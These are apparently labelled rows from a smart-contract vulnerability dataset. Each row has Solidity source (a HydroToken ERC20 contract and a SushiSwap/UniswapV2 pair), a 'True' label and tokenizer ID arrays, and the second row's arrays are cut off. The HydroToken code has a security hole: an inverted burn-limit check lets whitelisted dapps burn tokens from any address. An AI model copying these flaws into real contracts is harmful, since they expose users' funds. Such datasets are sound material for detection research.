// Constructor
////////////////
/// @notice Constructor to create a HydroToken
constructor(uint256 _ratio) public {
_name='HYDRO TOKEN';
_symbol='HYDRO';
_decimals=18;
raindropAddress=address(0);
_totalSupply = (11111111111 * 10**18)/_ratio;
// Give the creator all initial tokens
balances[msg.sender] = _totalSupply;
ratio = _ratio;
emit Transfer(address(0), msg.sender, _totalSupply);
}
///////////////////
// ERC20 Methods
///////////////////
//transfers an amount of tokens from one account to another
//accepts two variables
function transfer(address _to, uint256 _amount) public override returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
//transfers an amount of tokens from one account to another
//accepts three variables
function transferFrom(address _from, address _to, uint256 _amount
) public override returns (bool success) {
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
//allows the owner to change the MAX_BURN amount
function changeMaxBurn(uint256 _newBurn) public onlyOwner returns(uint256 ) {
MAX_BURN=_newBurn;
return (_newBurn);
}
//internal function to implement the transfer function and perform some safety checks
function doTransfer(address _from, address _to, uint _amount
) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
//returns balance of an address
function balanceOf(address _owner) public override view returns (uint256 balance) {
return balances[_owner];
}
//allows an address to approve another address to spend its tokens
function approve(address _spender, uint256 _amount) public override returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
//sends the approve function but with a data argument
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view override returns (uint8) {
return _decimals;
}
//returns the allowance an address has granted a spender
function allowance(address _owner, address _spender
) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
//allows an owner to whitelist a dapp so it can burn tokens
function _whiteListDapp(address _dappAddress) public onlyOwner returns(bool){
whitelistedDapps[_dappAddress]=true;
return true;
}
//allows an owner to blacklist a dapp so it can stop burn tokens
function _blackListDapp(address _dappAddress) public onlyOwner returns(bool){
whitelistedDapps[_dappAddress]=false;
return false;
}
//returns current hydro totalSupply
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
//allows the owner to set the Raindrop
function setRaindropAddress(address _raindrop) public onlyOwner {
raindropAddress = _raindrop;
}
//the main public burn function which uses the internal burn function
function burn(address _from,uint256 _value) external returns(uint burnAmount) {
_burn(_from,_value);
emit dappBurned(msg.sender,_value);
return(burnAmount);
}
function authenticate(uint _value, uint _challenge, uint _partnerId) public {
Raindrop raindrop = Raindrop(raindropAddress);
raindrop.authenticate(msg.sender, _value, _challenge, _partnerId);
doTransfer(msg.sender, owner, _value);
}
//internal burn function which makes sure that only whitelisted addresses can burn
function _burn(address account, uint256 amount) internal onlyFromDapps(msg.sender) {
require(account != address(0), "ERC20: burn from the zero address");
require(amount >= MAX_BURN,'ERC20: Exceeds maximum burn amount');
balances[account] = balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
} | True | [
101,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
2622,
18479,
1013,
1013,
4800,
4677,
19204,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
3616,
1010,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File: contracts/uniswapv2/libraries/SafeMath.sol
pragma solidity =0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/uniswapv2/UniswapV2ERC20.sol
pragma solidity =0.6.12;
contract UniswapV2ERC20 {
using SafeMathUniswap for uint;
string public constant name = 'SushiSwap LP Token';
string public constant symbol = 'SLP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/uniswapv2/libraries/Math.sol
pragma solidity =0.6.12;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/uniswapv2/libraries/UQ112x112.sol
pragma solidity =0.6.12;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/uniswapv2/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20Uniswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/uniswapv2/UniswapV2Pair.sol
pragma solidity =0.6.12;
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract UniswapV2Pair is UniswapV2ERC20 {
using SafeMathUniswap for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20Uniswap(token0).balanceOf(address(this));
uint balance1 = IERC20Uniswap(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
address migrator = IUniswapV2Factory(factory).migrator();
if (msg.sender == migrator) {
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity");
} else {
require(migrator == address(0), "Must not have migrator");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1);
}
} | True | [
101,
1013,
1013,
5371,
1024,
8311,
1013,
4895,
2483,
4213,
2361,
2615,
2475,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1019,
1012,
1014,
1025,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1063,
2724,
3940,
16748,
4383,
1006,
4769,
25331,
19204,
2692,
1010,
4769,
25331,
19204,
2487,
1010,
4769,
3940,
1010,
21318,
3372,
1007,
1025,
3853,
2519,
2080,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
2519,
9232,
12079,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
19117,
16259,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
2131,
4502,
4313,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1007,
6327,
3193,
5651,
1006,
4769,
3940,
1007,
1025,
3853,
2035,
4502,
18894,
1006,
21318,
3372,
1007,
6327,
3193,
5651,
1006,
4769,
3940,
1007,
1025,
3853,
2035,
4502,
18894,
7770,
13512,
2232,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
3443,
4502,
4313,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1007,
6327,
5651,
1006,
4769,
3940,
1007,
1025,
3853,
2275,
7959,
18903,
1006,
4769,
1007,
6327,
1025,
3853,
2275,
7959,
18903,
21678,
2121,
1006,
4769,
1007,
6327,
1025,
3853,
2275,
4328,
17643,
4263,
1006,
4769,
1007,
6327,
1025,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
4895,
2483,
4213,
2361,
2615,
2475,
1013,
8860,
1013,
3647,
18900,
2232,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
1037,
3075,
2005,
4488,
2058,
12314,
1011,
3647,
8785,
1010,
14571,
1997,
4830,
9397,
6979,
2497,
1006,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
4830,
9397,
6979,
2497,
1013,
16233,
1011,
8785,
1007,
3075,
3647,
18900,
17157,
2483,
4213,
2361,
1063,
3853,
5587,
1006,
21318,
3372,
1060,
1010,
21318,
3372,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1062,
1007,
1063,
5478,
1006,
1006,
1062,
1027,
1060,
1009,
1061,
1007,
1028,
1027,
1060,
1010,
1005,
16233,
1011,
8785,
1011,
5587,
1011,
2058,
12314,
1005,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1060,
1010,
21318,
3372,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1062,
1007,
1063,
5478,
1006,
1006,
1062,
1027,
1060,
1011,
1061,
1007,
1026,
1027,
1060,
1010,
1005,
16233,
1011,
8785,
1011,
4942,
1011,
2104,
12314,
1005,
1007,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1060,
1010,
21318,
3372,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1062,
1007,
1063,
5478,
1006,
1061,
1027,
1027,
1014,
1064,
1064,
1006,
1062,
1027,
1060,
1008,
1061,
1007,
1013,
1061,
1027,
1027,
1060,
1010,
1005,
16233,
1011,
8785,
1011,
14163,
2140,
1011,
2058,
12314,
1005,
1007,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
4895,
2483,
4213,
2361,
2615,
2475,
1013,
4895,
2483,
4213,
2361,
2615,
2475,
2121,
2278,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1020,
1012,
2260,
1025,
3206,
4895,
2483,
4213,
2361,
2615,
2475,
2121,
2278,
11387,
1063,
2478,
3647,
18900,
17157,
2483,
4213,
2361,
2005,
21318,
3372,
1025,
5164,
2270,
5377,
2171,
1027,
1005,
10514,
6182,
26760,
9331,
6948,
19204,
1005,
1025,
5164,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
